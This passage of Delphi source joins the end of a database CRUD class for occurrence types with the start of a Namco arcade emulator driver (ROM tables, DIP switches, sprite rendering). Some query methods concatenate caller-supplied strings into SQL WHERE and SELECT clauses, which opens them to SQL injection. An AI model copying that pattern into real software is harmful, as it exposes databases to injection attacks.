ParamByName('DESCRICAO').AsString := Self.Descricao; dm.ZConn1.Ping; ExecSQL; Close; SQL.Clear; end; Result := True; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; function TTiposOcorrencias.Delete(filtro: String): Boolean; begin Try Result := False; with dm.qryCRUD1 do begin Close; SQL.Clear; SQL.Text := 'DELETE FROM ' + TABLENAME; if filtro = 'CODIGO' then begin SQL.Add('WHERE COD_TIPO_OCORRENCIA = :CODIGO'); ParamByName('CODIGO').AsString := Self.Codigo; end else if filtro = 'DESCRICAO' then begin SQL.Add('WHERE DES_TIPO_OCORRENCIA = :DESCRICAO'); ParamByName('DESCRICAO').AsString := Self.Descricao; end; dm.ZConn1.Ping; ExecSQL; Close; SQL.Clear; end; Result := True; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; function TTiposOcorrencias.getObject(id, coluna: String): Boolean; begin Try Result := False; if TUtil.Empty(id) then begin Exit; end; with dm.qrygetObject1 do begin Close; SQL.Clear; SQL.Add('SELECT * FROM ' + TABLENAME); if coluna = 'CODIGO' then begin SQL.Add(' WHERE COD_TIPO_OCORRENCIA = :CODIGO'); ParamByName('CODIGO').AsString := id; end else if coluna = 'DESCRICAO' then begin if Pos('%', id) > 0 then begin SQL.Add(' WHERE DES_TIPO_OCORENCIA LIKE :DESCRICAO') end else begin SQL.Add(' WHERE DES_TIPO_OCORENCIA = :DESCRICAO'); ParamByName('DESCRICAO').AsString := id; end; end else if coluna = 'FILTRO' then begin SQL.Add(' WHERE ' + id); ParamByName('TABELA').AsString := TABLENAME; end; dm.ZConn1.Ping; Open; if not(IsEmpty) then begin First; if RecordCount = 1 then begin Self.Codigo := FieldByName('COD_TIPO_OCORRENCIA').AsString; Self.Descricao := FieldByName('DES_TIPO_OCORRENCIA').AsString; Close; SQL.Clear; end; end else begin Close; SQL.Clear; Exit; end; end; Result := True; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; function TTiposOcorrencias.getObjects(): Boolean; begin try Result := False; with dm.qrygetObject1 do begin Close; SQL.Clear; SQL.Text := 'SELECT * FROM ' + TABLENAME; dm.ZConn1.Ping; Open; if not(IsEmpty) then begin First; end else begin Close; SQL.Clear; Exit; end; end; Result := True; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; function TTiposOcorrencias.getField(campo, coluna: String): String; begin try Result := ''; with dm.qryFields1 do begin Close; SQL.Clear; SQL.Text := 'SELECT ' + campo + ' FROM ' + TABLENAME; if coluna = 'CODIGO' then begin SQL.Add(' WHERE COD_TIPO_OCORRENCIA = :CODIGO '); ParamByName('CODIGO').AsString := Self.Codigo; end else if coluna = 'DESCRICAO' then begin SQL.Add(' WHERE DES_TIPO_OCORRENCIA = :DESCRICAO '); ParamByName('DESCRICAO').AsString := Self.Descricao; end; dm.ZConn1.Ping; Open; if not(IsEmpty) then begin First; Result := FieldByName(campo).AsString; end; Close; SQL.Clear; end; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; procedure TTiposOcorrencias.setCodigo(const Value: String); begin _codigo := Value; end; procedure TTiposOcorrencias.setDescricao(const Value: String); begin _descricao := Value; end; procedure TTiposOcorrencias.setOperacao(const Value: String); begin _operacao := Value; end; end.
unit mappy_hw; interface uses {$IFDEF WINDOWS}windows,{$ENDIF} m6809,main_engine,controls_engine,gfx_engine,namco_snd,namcoio_56xx_58xx, rom_engine,pal_engine,sound_engine; function iniciar_mappyhw:boolean; implementation const //Mappy mappy_rom:array[0..2] of tipo_roms=( (n:'mpx_3.1d';l:$2000;p:$a000;crc:$52e6c708),(n:'mp1_2.1c';l:$2000;p:$c000;crc:$a958a61c), (n:'mpx_1.1b';l:$2000;p:$e000;crc:$203766d4)); mappy_proms:array[0..2] of tipo_roms=( (n:'mp1-5.5b';l:$20;p:0;crc:$56531268),(n:'mp1-6.4c';l:$100;p:$20;crc:$50765082), (n:'mp1-7.5k';l:$100;p:$120;crc:$5396bd78)); mappy_chars:tipo_roms=(n:'mp1_5.3b';l:$1000;p:0;crc:$16498b9f); mappy_sprites:array[0..1] of tipo_roms=( (n:'mp1_6.3m';l:$2000;p:0;crc:$f2d9647a),(n:'mp1_7.3n';l:$2000;p:$2000;crc:$757cf2b6)); mappy_sound:tipo_roms=(n:'mp1_4.1k';l:$2000;p:$e000;crc:$8182dd5b); mappy_sound_prom:tipo_roms=(n:'mp1-3.3m';l:$100;p:0;crc:$16a9166a); mappy_dip_a:array [0..5] of def_dip=( (mask:$7;name:'Difficulty';number:8;dip:((dip_val:$7;dip_name:'Rank A'),(dip_val:$6;dip_name:'Rank B'),(dip_val:$5;dip_name:'Rank C'),(dip_val:$4;dip_name:'Rank D'),(dip_val:$3;dip_name:'Rank E'),(dip_val:$2;dip_name:'Rank F'),(dip_val:$1;dip_name:'Rank G'),(dip_val:$0;dip_name:'Rank H'),(),(),(),(),(),(),(),())), (mask:$18;name:'Coin B';number:4;dip:((dip_val:$0;dip_name:'2C 1C'),(dip_val:$18;dip_name:'1C 1C'),(dip_val:$10;dip_name:'1C 5C'),(dip_val:$8;dip_name:'1C 7C'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$20;name:'Demo Sounds';number:2;dip:((dip_val:$0;dip_name:'Off'),(dip_val:$20;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$40;name:'Rack test';number:2;dip:((dip_val:$40;dip_name:'Off'),(dip_val:$0;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$80;name:'Freeze';number:2;dip:((dip_val:$80;dip_name:'Off'),(dip_val:$0;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())),()); mappy_dip_b:array [0..3] of def_dip=( (mask:$7;name:'Coin A';number:8;dip:((dip_val:$1;dip_name:'3C 1C'),(dip_val:$3;dip_name:'2C 1C'),(dip_val:$0;dip_name:'3C 2C'),(dip_val:$7;dip_name:'1C 1C'),(dip_val:$2;dip_name:'2C 3C'),(dip_val:$6;dip_name:'1C 2C'),(dip_val:$5;dip_name:'1C 3C'),(dip_val:$4;dip_name:'1C 6C'),(),(),(),(),(),(),(),())), (mask:$38;name:'Bonus Life';number:8;dip:((dip_val:$18;dip_name:'20K'),(dip_val:$30;dip_name:'20K 60K'),(dip_val:$38;dip_name:'20K 70K'),(dip_val:$10;dip_name:'20K 70K 70K+'),(dip_val:$28;dip_name:'20K 80K'),(dip_val:$8;dip_name:'20K 80K 80K+'),(dip_val:$20;dip_name:'30K 100K'),(dip_val:$0;dip_name:'None'),(),(),(),(),(),(),(),())), (mask:$c0;name:'Lives';number:4;dip:((dip_val:$40;dip_name:'1'),(dip_val:$0;dip_name:'2'),(dip_val:$c0;dip_name:'3'),(dip_val:$80;dip_name:'5'),(),(),(),(),(),(),(),(),(),(),(),())),()); mappy_dip_c:array [0..1] of def_dip=( (mask:$4;name:'Cabinet';number:2;dip:((dip_val:$4;dip_name:'Upright'),(dip_val:$0;dip_name:'Cocktail'),(),(),(),(),(),(),(),(),(),(),(),(),(),())),()); //Dig Dug 2 dd2_rom:array[0..1] of tipo_roms=( (n:'d23_3.1d';l:$4000;p:$8000;crc:$cc155338),(n:'d23_1.1b';l:$4000;p:$c000;crc:$40e46af8)); dd2_proms:array[0..2] of tipo_roms=( (n:'d21-5.5b';l:$20;p:0;crc:$9b169db5),(n:'d21-6.4c';l:$100;p:$20;crc:$55a88695), (n:'d21-7.5k';l:$100;p:$120;crc:$9c55feda)); dd2_chars:tipo_roms=(n:'d21_5.3b';l:$1000;p:0;crc:$afcb4509); dd2_sprites:array[0..1] of tipo_roms=( (n:'d21_6.3m';l:$4000;p:0;crc:$df1f4ad8),(n:'d21_7.3n';l:$4000;p:$4000;crc:$ccadb3ea)); dd2_sound:tipo_roms=(n:'d21_4.1k';l:$2000;p:$e000;crc:$737443b1); dd2_sound_prom:tipo_roms=(n:'d21-3.3m';l:$100;p:0;crc:$e0074ee2); digdug2_dip:array [0..5] of def_dip=( (mask:$2;name:'Lives';number:2;dip:((dip_val:$2;dip_name:'3'),(dip_val:$0;dip_name:'5'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$c;name:'Coinage';number:4;dip:((dip_val:$c;dip_name:'1C 1C'),(dip_val:$8;dip_name:'2C 1C'),(dip_val:$4;dip_name:'1C 2C'),(dip_val:$0;dip_name:'1C 3C'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$30;name:'Bonus Life';number:4;dip:((dip_val:$30;dip_name:'30K 80K and ...'),(dip_val:$20;dip_name:'30K 100K and ...'),(dip_val:$10;dip_name:'30K 100K and ...'),(dip_val:$30;dip_name:'30K 150K and ...'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$40;name:'Level Select';number:2;dip:((dip_val:$40;dip_name:'Off'),(dip_val:$0;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$80;name:'Freeze';number:2;dip:((dip_val:$80;dip_name:'Off'),(dip_val:$0;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())),()); //Super Pacman spacman_rom:array[0..1] of tipo_roms=( (n:'sp1-2.1c';l:$2000;p:$c000;crc:$4bb33d9c),(n:'sp1-1.1b';l:$2000;p:$e000;crc:$846fbb4a)); spacman_proms:array[0..2] of tipo_roms=( (n:'superpac.4c';l:$20;p:0;crc:$9ce22c46),(n:'superpac.4e';l:$100;p:$20;crc:$1253c5c1), (n:'superpac.3l';l:$100;p:$120;crc:$d4d7026f)); spacman_chars:tipo_roms=(n:'sp1-6.3c';l:$1000;p:0;crc:$91c5935c); spacman_sprites:tipo_roms=(n:'spv-2.3f';l:$2000;p:0;crc:$670a42f2); spacman_sound:tipo_roms=(n:'spc-3.1k';l:$1000;p:$f000;crc:$04445ddb); spacman_sound_prom:tipo_roms=(n:'superpac.3m';l:$100;p:0;crc:$ad43688f); spacman_dip_a:array [0..4] of def_dip=( (mask:$f;name:'Difficulty';number:16;dip:((dip_val:$f;dip_name:'Rank 0 - Normal'),(dip_val:$e;dip_name:'Rank 1-Easyest'),(dip_val:$d;dip_name:'Rank 2'),(dip_val:$c;dip_name:'Rank 3'),(dip_val:$b;dip_name:'Rank 4'),(dip_val:$a;dip_name:'Rank 5'),(dip_val:$6;dip_name:'Rank 6 - Medium'),(dip_val:$8;dip_name:'Rank 7'),(dip_val:$7;dip_name:'Rank 8 - Default'),(dip_val:$6;dip_name:'Rank 9'),(dip_val:$5;dip_name:'Rank A'),(dip_val:$4;dip_name:'Rank B -Hardest'),(dip_val:$3;dip_name:'Rank C - Easy Auto'),(dip_val:$2;dip_name:'Rank D - Auto'),(dip_val:$1;dip_name:'Rank E - Auto'),(dip_val:$0;dip_name:'Rank F - Hard Auto'))), (mask:$30;name:'Coin B';number:4;dip:((dip_val:$10;dip_name:'2C 1C'),(dip_val:$30;dip_name:'1C 1C'),(dip_val:$0;dip_name:'2C 3C'),(dip_val:$20;dip_name:'1C 2C'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$40;name:'Demo Sounds';number:2;dip:((dip_val:$0;dip_name:'Off'),(dip_val:$40;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$80;name:'Freeze / Rack Test';number:2;dip:((dip_val:$80;dip_name:'Off'),(dip_val:$0;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())),()); spacman_dip_b:array [0..3] of def_dip=( (mask:$7;name:'Coin A';number:8;dip:((dip_val:$0;dip_name:'3C 1C'),(dip_val:$2;dip_name:'2C 1C'),(dip_val:$7;dip_name:'1C 1C'),(dip_val:$1;dip_name:'2C 3C'),(dip_val:$6;dip_name:'1C 2C'),(dip_val:$5;dip_name:'1C 3C'),(dip_val:$4;dip_name:'1C 6C'),(dip_val:$3;dip_name:'1C 7C'),(),(),(),(),(),(),(),())), (mask:$38;name:'Bonus Life';number:8;dip:((dip_val:$8;dip_name:'30K'),(dip_val:$30;dip_name:'30K 80K'),(dip_val:$20;dip_name:'30K 80K 80K+'),(dip_val:$38;dip_name:'30K 100K'),(dip_val:$18;dip_name:'30K 100K 100K+'),(dip_val:$28;dip_name:'20K 120K'),(dip_val:$10;dip_name:'30K 120K 120K+'),(dip_val:$0;dip_name:'None'),(),(),(),(),(),(),(),())), (mask:$c0;name:'Lives';number:4;dip:((dip_val:$80;dip_name:'1'),(dip_val:$40;dip_name:'2'),(dip_val:$c0;dip_name:'3'),(dip_val:$0;dip_name:'5'),(),(),(),(),(),(),(),(),(),(),(),())),()); //The Tower of Druaga todruaga_rom:array[0..1] of tipo_roms=( (n:'td2_3.1d';l:$4000;p:$8000;crc:$fbf16299),(n:'td2_1.1b';l:$4000;p:$c000;crc:$b238d723)); todruaga_proms:array[0..2] of tipo_roms=( (n:'td1-5.5b';l:$20;p:0;crc:$122cc395),(n:'td1-6.4c';l:$100;p:$20;crc:$8c661d6a), (n:'td1-7.5k';l:$400;p:$120;crc:$a86c74dd)); todruaga_chars:tipo_roms=(n:'td1_5.3b';l:$1000;p:0;crc:$d32b249f); todruaga_sprites:array[0..1] of tipo_roms=( (n:'td1_6.3m';l:$2000;p:0;crc:$e827e787),(n:'td1_7.3n';l:$2000;p:$2000;crc:$962bd060)); todruaga_sound:tipo_roms=(n:'td1_4.1k';l:$2000;p:$e000;crc:$ae9d06d9); todruaga_sound_prom:tipo_roms=(n:'td1-3.3m';l:$100;p:0;crc:$07104c40); todruaga_dip:array [0..4] of def_dip=( (mask:$3;name:'Lives';number:4;dip:((dip_val:$1;dip_name:'1'),(dip_val:$2;dip_name:'2'),(dip_val:$3;dip_name:'3'),(dip_val:$0;dip_name:'5'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$c;name:'Coin A';number:4;dip:((dip_val:$0;dip_name:'3C 1C'),(dip_val:$8;dip_name:'2C 1C'),(dip_val:$c;dip_name:'1C 1C'),(dip_val:$4;dip_name:'1C 2C'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$10;name:'Freeze';number:2;dip:((dip_val:$10;dip_name:'Off'),(dip_val:$0;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$c0;name:'Coin B';number:4;dip:((dip_val:$0;dip_name:'3C 1C'),(dip_val:$80;dip_name:'2C 1C'),(dip_val:$c0;dip_name:'1C 1C'),(dip_val:$40;dip_name:'1C 2C'),(),(),(),(),(),(),(),(),(),(),(),())),()); //Motos motos_rom:array[0..1] of tipo_roms=( (n:'mo1_3.1d';l:$4000;p:$8000;crc:$1104abb2),(n:'mo1_1.1b';l:$4000;p:$c000;crc:$57b157e2)); motos_proms:array[0..2] of tipo_roms=( (n:'mo1-5.5b';l:$20;p:0;crc:$71972383),(n:'mo1-6.4c';l:$100;p:$20;crc:$730ba7fb), (n:'mo1-7.5k';l:$100;p:$120;crc:$7721275d)); motos_chars:tipo_roms=(n:'mo1_5.3b';l:$1000;p:0;crc:$5d4a2a22); motos_sprites:array[0..1] of tipo_roms=( (n:'mo1_6.3m';l:$4000;p:0;crc:$2f0e396e),(n:'mo1_7.3n';l:$4000;p:$4000;crc:$cf8a3b86)); motos_sound:tipo_roms=(n:'mo1_4.1k';l:$2000;p:$e000;crc:$55e45d21); motos_sound_prom:tipo_roms=(n:'mo1-3.3m';l:$100;p:0;crc:$2accdfb4); motos_dip:array [0..5] of def_dip=( (mask:$6;name:'Coinage';number:4;dip:((dip_val:$0;dip_name:'3C 1C'),(dip_val:$2;dip_name:'2C 1C'),(dip_val:$6;dip_name:'1C 1C'),(dip_val:$4;dip_name:'1C 2C'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$8;name:'Lives';number:2;dip:((dip_val:$8;dip_name:'3'),(dip_val:$0;dip_name:'5'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$10;name:'Difficulty';number:2;dip:((dip_val:$10;dip_name:'Rank A'),(dip_val:$0;dip_name:'Rank B'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$60;name:'Bonus Life';number:4;dip:((dip_val:$60;dip_name:'10K 30K 50K+'),(dip_val:$40;dip_name:'20K 50K+'),(dip_val:$20;dip_name:'30K 70K+'),(dip_val:$0;dip_name:'20K 70K'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$80;name:'Demo Sounds';number:2;dip:((dip_val:$0;dip_name:'Off'),(dip_val:$80;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())),()); //Grobda grobda_rom:array[0..2] of tipo_roms=( (n:'gr2-3.1d';l:$2000;p:$a000;crc:$8e3a23be),(n:'gr2-2.1c';l:$2000;p:$c000;crc:$19ffa83d), (n:'gr2-1.1b';l:$2000;p:$e000;crc:$0089b13a)); grobda_proms:array[0..2] of tipo_roms=( (n:'gr1-6.4c';l:$20;p:0;crc:$c65efa77),(n:'gr1-5.4e';l:$100;p:$20;crc:$a0f66911), (n:'gr1-4.3l';l:$100;p:$120;crc:$f1f2c234)); grobda_chars:tipo_roms=(n:'gr1-7.3c';l:$1000;p:0;crc:$4ebfabfd); grobda_sprites:array[0..1] of tipo_roms=( (n:'gr1-5.3f';l:$2000;p:0;crc:$eed43487),(n:'gr1-6.3e';l:$2000;p:$2000;crc:$cebb7362)); grobda_sound:tipo_roms=(n:'gr1-4.1k';l:$2000;p:$e000;crc:$3fe78c08); grobda_sound_prom:tipo_roms=(n:'gr1-3.3m';l:$100;p:0;crc:$66eb1467); grobda_dip_a:array [0..3] of def_dip=( (mask:$e;name:'Coin A';number:8;dip:((dip_val:$0;dip_name:'4C 1C'),(dip_val:$2;dip_name:'3C 1C'),(dip_val:$6;dip_name:'2C 1C'),(dip_val:$8;dip_name:'1C 1C'),(dip_val:$4;dip_name:'2C 3C'),(dip_val:$a;dip_name:'1C 2C'),(dip_val:$e;dip_name:'1C 3C'),(dip_val:$c;dip_name:'1C 4C'),(),(),(),(),(),(),(),())), (mask:$70;name:'Coin B';number:8;dip:((dip_val:$0;dip_name:'4C 1C'),(dip_val:$10;dip_name:'3C 1C'),(dip_val:$30;dip_name:'2C 1C'),(dip_val:$40;dip_name:'1C 1C'),(dip_val:$20;dip_name:'2C 3C'),(dip_val:$50;dip_name:'1C 2C'),(dip_val:$70;dip_name:'1C 3C'),(dip_val:$60;dip_name:'1C 4C'),(),(),(),(),(),(),(),())), (mask:$80;name:'Freeze / Rack Test';number:2;dip:((dip_val:$80;dip_name:'Off'),(dip_val:$0;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())),()); grobda_dip_b:array [0..5] of def_dip=( (mask:$3;name:'Lives';number:4;dip:((dip_val:$2;dip_name:'1'),(dip_val:$1;dip_name:'2'),(dip_val:$3;dip_name:'3'),(dip_val:$0;dip_name:'5'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$c;name:'Difficulty';number:4;dip:((dip_val:$c;dip_name:'Rank A'),(dip_val:$8;dip_name:'Rank B'),(dip_val:$4;dip_name:'Rank C'),(dip_val:$0;dip_name:'Rank D'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$10;name:'Demo_Sounds';number:2;dip:((dip_val:$0;dip_name:'Off'),(dip_val:$10;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$20;name:'Level Select';number:2;dip:((dip_val:$0;dip_name:'Off'),(dip_val:$20;dip_name:'On'),(),(),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$c0;name:'Bonus Life';number:4;dip:((dip_val:$0;dip_name:'10K 50K 50K+'),(dip_val:$40;dip_name:'10K 30K'),(dip_val:$c0;dip_name:'10K'),(dip_val:$80;dip_name:'None'),(),(),(),(),(),(),(),(),(),(),(),())),()); //Pac'n'Pal pacnpal_rom:array[0..2] of tipo_roms=( (n:'pap1-3b.1d';l:$2000;p:$a000;crc:$ed64a565),(n:'pap1-2b.1c';l:$2000;p:$c000;crc:$15308bcf), (n:'pap3-1.1b';l:$2000;p:$e000;crc:$3cac401c)); pacnpal_proms:array[0..2] of tipo_roms=( (n:'pap1-6.4c';l:$20;p:0;crc:$52634b41),(n:'pap1-5.4e';l:$100;p:$20;crc:$ac46203c), (n:'pap1-4.3l';l:$100;p:$120;crc:$686bde84)); pacnpal_chars:tipo_roms=(n:'pap1-6.3c';l:$1000;p:0;crc:$a36b96cb); pacnpal_sprites:tipo_roms=(n:'pap1-5.3f';l:$2000;p:0;crc:$fb6f56e3); pacnpal_sound:tipo_roms=(n:'pap1-4.1k';l:$1000;p:$f000;crc:$330e20de); pacnpal_sound_prom:tipo_roms=(n:'pap1-3.3m';l:$100;p:0;crc:$94782db5); pacnpal_dip_a:array [0..3] of def_dip=( (mask:$7;name:'Coin A';number:8;dip:((dip_val:$0;dip_name:'3C 1C'),(dip_val:$2;dip_name:'2C 1C'),(dip_val:$7;dip_name:'1C 1C'),(dip_val:$1;dip_name:'2C 3C'),(dip_val:$6;dip_name:'1C 2C'),(dip_val:$5;dip_name:'1C 3C'),(dip_val:$4;dip_name:'1C 6C'),(dip_val:$3;dip_name:'1C 7C'),(),(),(),(),(),(),(),())), (mask:$38;name:'Bonus Life';number:8;dip:((dip_val:$20;dip_name:'20K 70K'),(dip_val:$30;dip_name:'20K 70K 70K+'),(dip_val:$0;dip_name:'30K'),(dip_val:$18;dip_name:'30K 70K'),(dip_val:$10;dip_name:'30K 80K'),(dip_val:$28;dip_name:'30K 100K 80K+'),(dip_val:$8;dip_name:'30K 100K'),(dip_val:$38;dip_name:'None'),(),(),(),(),(),(),(),())), (mask:$c0;name:'Lives';number:4;dip:((dip_val:$c0;dip_name:'1'),(dip_val:$80;dip_name:'2'),(dip_val:$40;dip_name:'3'),(dip_val:$0;dip_name:'5'),(),(),(),(),(),(),(),(),(),(),(),())),()); pacnpal_dip_b:array [0..2] of def_dip=( (mask:$3;name:'Coin B';number:4;dip:((dip_val:$1;dip_name:'2C 1C'),(dip_val:$3;dip_name:'1C 1C'),(dip_val:$0;dip_name:'2C 3C'),(dip_val:$2;dip_name:'1C 2C'),(),(),(),(),(),(),(),(),(),(),(),())), (mask:$c;name:'Difficulty';number:4;dip:((dip_val:$c;dip_name:'Rank A'),(dip_val:$8;dip_name:'Rank B'),(dip_val:$4;dip_name:'Rank C'),(dip_val:$0;dip_name:'Rank D'),(),(),(),(),(),(),(),(),(),(),(),())),()); var snd_int,main_int:boolean; mux,sprite_mask:byte; update_video_proc:procedure; scroll_x:word; procedure update_video_mappy; const linea_x:array[0..$1f] of byte=($11,$10,$1f,$1e,$1d,$1c,$1b,$1a,$19,$18,$17,$16,$15,$14,$13,$12,1,0,$f,$e,$d,$c,$b,$a,9,8,7,6,5,4,3,2); var f,color:word; x,y,atrib,nchar:byte; procedure draw_sprites_mappy; var color,y:word; flipx,flipy:boolean; nchar,x,f,atrib,size,a,b,c,d,mix:byte; begin for f:=0 to $3f do begin if (memoria[$2781+(f*2)] and $2)=0 then begin atrib:=memoria[$2780+(f*2)]; nchar:=memoria[$1780+(f*2)] and sprite_mask; color:=memoria[$1781+(f*2)] shl 4; x:=memoria[$1f80+(f*2)]-16; y:=memoria[$1f81+(f*2)]+$100*(memoria[$2781+(f*2)] and 1)-40; flipx:=(atrib and $02)<>0; flipy:=(atrib and $01)<>0; size:=((atrib and $c) shr 2); case size of 0:begin //16x16 put_gfx_sprite_mask(nchar,color,flipx,flipy,1,$f,$f); actualiza_gfx_sprite(x,y,3,1); end; 1:begin //16x32 nchar:=nchar and $fe; a:=0 xor byte(flipy); b:=1 xor byte(flipy); put_gfx_sprite_mask_diff(nchar+a,color,flipx,false,1,$f,$f,0,0); put_gfx_sprite_mask_diff(nchar+b,color,flipx,false,1,$f,$f,0,16); actualiza_gfx_sprite_size(x,y,3,16,32); end; 2:begin //32x16 nchar:=nchar and $fd; a:=2 xor (byte(flipx) shl 1); b:=0 xor (byte(flipx) shl 1); put_gfx_sprite_mask_diff(nchar+a,color,flipx,flipy,1,$f,$f,0,0); put_gfx_sprite_mask_diff(nchar+b,color,flipx,flipy,1,$f,$f,16,0); actualiza_gfx_sprite_size(x,y,3,32,16); end; 3:begin //32x32 nchar:=nchar and $fc; if flipx then begin a:=0;b:=2;c:=1;d:=3 end else begin a:=2;b:=0;c:=3;d:=1; end; if flipy then begin mix:=a;a:=c;c:=mix; mix:=b;b:=d;d:=mix; end; put_gfx_sprite_mask_diff(nchar+a,color,flipx,flipy,1,$f,$f,0,0); put_gfx_sprite_mask_diff(nchar+b,color,flipx,flipy,1,$f,$f,16,0); put_gfx_sprite_mask_diff(nchar+c,color,flipx,flipy,1,$f,$f,0,16); put_gfx_sprite_mask_diff(nchar+d,color,flipx,flipy,1,$f,$f,16,16); actualiza_gfx_sprite_size(x,y,3,32,32); end; end; end; end; end; begin for f:=$7ff downto 0 do begin if gfx[0].buffer[f] then begin nchar:=memoria[$0+f]; atrib:=memoria[$800+f]; color:=(atrib and $3f) shl 2; case f of 0..$77f:begin x:=59-(f div 32); y:=f mod 32; put_gfx(x*8,(y*8)+16,nchar,color,1,0); if (atrib and $40)=0 then put_gfx_block_trans(x*8,(y*8)+16,2,8,8) else put_gfx_mask(x*8,(y*8)+16,nchar,color,2,0,$1f,$3f); end; $780..$7bf:begin //lineas de abajo x:=f and $1f; y:=(f and $3f) shr 5; put_gfx(linea_x[x]*8,(y*8)+256+16,nchar,color,1,0); if (atrib and $40)=0 then put_gfx_block_trans(linea_x[x]*8,(y*8)+256+16,2,8,8) else put_gfx_mask(linea_x[x]*8,(y*8)+256+16,nchar,color,2,0,$1f,$3f); end; $7c0..$7ff:begin //lineas de arriba x:=f and $1f; y:=(f and $3f) shr 5; put_gfx(linea_x[x]*8,y*8,nchar,color,1,0); if (atrib and $40)=0 then put_gfx_block_trans(linea_x[x]*8,y*8,2,8,8) else put_gfx_mask(linea_x[x]*8,y*8,nchar,color,2,0,$1f,$3f); end; end; gfx[0].buffer[f]:=false; end; end; //Las lineas de arriba y abajo fijas... actualiza_trozo(32,0,224,16,1,0,0,224,16,3); actualiza_trozo(32,272,224,16,1,0,272,224,16,3); //Pantalla principal scroll__x_part(1,3,scroll_x,0,16,256); //Los sprites draw_sprites_mappy; //Las lineas de arriba y abajo fijas transparentes... actualiza_trozo(32,0,224,16,2,0,0,224,16,3); actualiza_trozo(32,272,224,16,2,0,272,224,16,3); //Pantalla principal transparente scroll__x_part(2,3,scroll_x,0,16,256); //final, lo pego todooooo actualiza_trozo_final(0,0,224,288,3); end; procedure update_video_spacman; var f,color:word; x,y,atrib,nchar:byte; procedure draw_sprites_spacman; var color,y:word; flipx,flipy:boolean; nchar,x,f,size,a,b,c,d,mix,atrib:byte; begin for f:=0 to $3f do begin if (memoria[$1f81+(f*2)] and $2)=0 then begin atrib:=memoria[$1f80+(f*2)]; y:=memoria[$1781+(f*2)]+$100*(memoria[$1f81+(f*2)] and 1)-40; nchar:=memoria[$f80+(f*2)] and sprite_mask; color:=memoria[$f81+(f*2)] shl 2; x:=memoria[$1780+(f*2)]-17; flipx:=(atrib and $02)<>0; flipy:=(atrib and $01)<>0; size:=(atrib and $c) shr 2; case size of 0:begin //16x16 put_gfx_sprite_mask(nchar,color,flipx,flipy,1,$f,$f); actualiza_gfx_sprite(x,y,3,1); end; 1:begin //16x32 nchar:=nchar and $fe; a:=0 xor byte(flipy); b:=1 xor byte(flipy); put_gfx_sprite_mask_diff(nchar+a,color,flipx,flipy,1,15,$f,0,0); put_gfx_sprite_mask_diff(nchar+b,color,flipx,flipy,1,15,$f,0,16); actualiza_gfx_sprite_size(x,y,3,16,32); end; 2:begin //32x16 nchar:=nchar and $fd; a:=2 xor (byte(flipx) shl 1); b:=0 xor (byte(flipx) shl 1); put_gfx_sprite_mask_diff(nchar+a,color,flipx,flipy,1,15,$f,0,0); put_gfx_sprite_mask_diff(nchar+b,color,flipx,flipy,1,15,$f,16,0); actualiza_gfx_sprite_size(x,y,3,32,16); end; 3:begin //32x32 nchar:=nchar and $fc; if flipx then begin a:=0;b:=2;c:=1;d:=3 end else begin a:=2;b:=0;c:=3;d:=1; end; if flipy then begin mix:=a;a:=c;c:=mix; mix:=b;b:=d;d:=mix; end; put_gfx_sprite_mask_diff(nchar+a,color,flipx,flipy,1,15,$f,0,0); put_gfx_sprite_mask_diff(nchar+b,color,flipx,flipy,1,15,$f,16,0); put_gfx_sprite_mask_diff(nchar+c,color,flipx,flipy,1,15,$f,0,16); put_gfx_sprite_mask_diff(nchar+d,color,flipx,flipy,1,15,$f,16,16); actualiza_gfx_sprite_size(x,y,3,32,32); end; end; end; end; end; begin for f:=$3ff downto 0 do begin if gfx[0].buffer[f] then begin nchar:=memoria[$0+f]; atrib:=memoria[$400+f]; color:=(atrib and $3f) shl 2; case f of $40..$3bf:begin x:=31-(f div 32); y:=f mod 32; put_gfx(x*8,(y*8)+16,nchar,color,1,0); if (atrib and $40)=0 then put_gfx_block_trans(x*8,(y*8)+16,2,8,8) else put_gfx_mask(x*8,(y*8)+16,nchar,color,2,0,$1f,$1f); end; $0..$3f:begin //lineas de abajo x:=31-(f and $1f); y:=(f and $3f) shr 5; put_gfx(x*8,(y*8)+256+16,nchar,color,1,0); if (atrib and $40)=0 then put_gfx_block_trans(x*8,(y*8)+256+16,2,8,8) else put_gfx_mask(x*8,(y*8)+256+16,nchar,color,2,0,$1f,$1f); end; $3c0..$3ff:begin //lineas de arriba x:=31-(f and $1f); y:=(f and $3f) shr 5; put_gfx(x*8,y*8,nchar,color,1,0); if (atrib and $40)=0 then put_gfx_block_trans(x*8,y*8,2,8,8) else 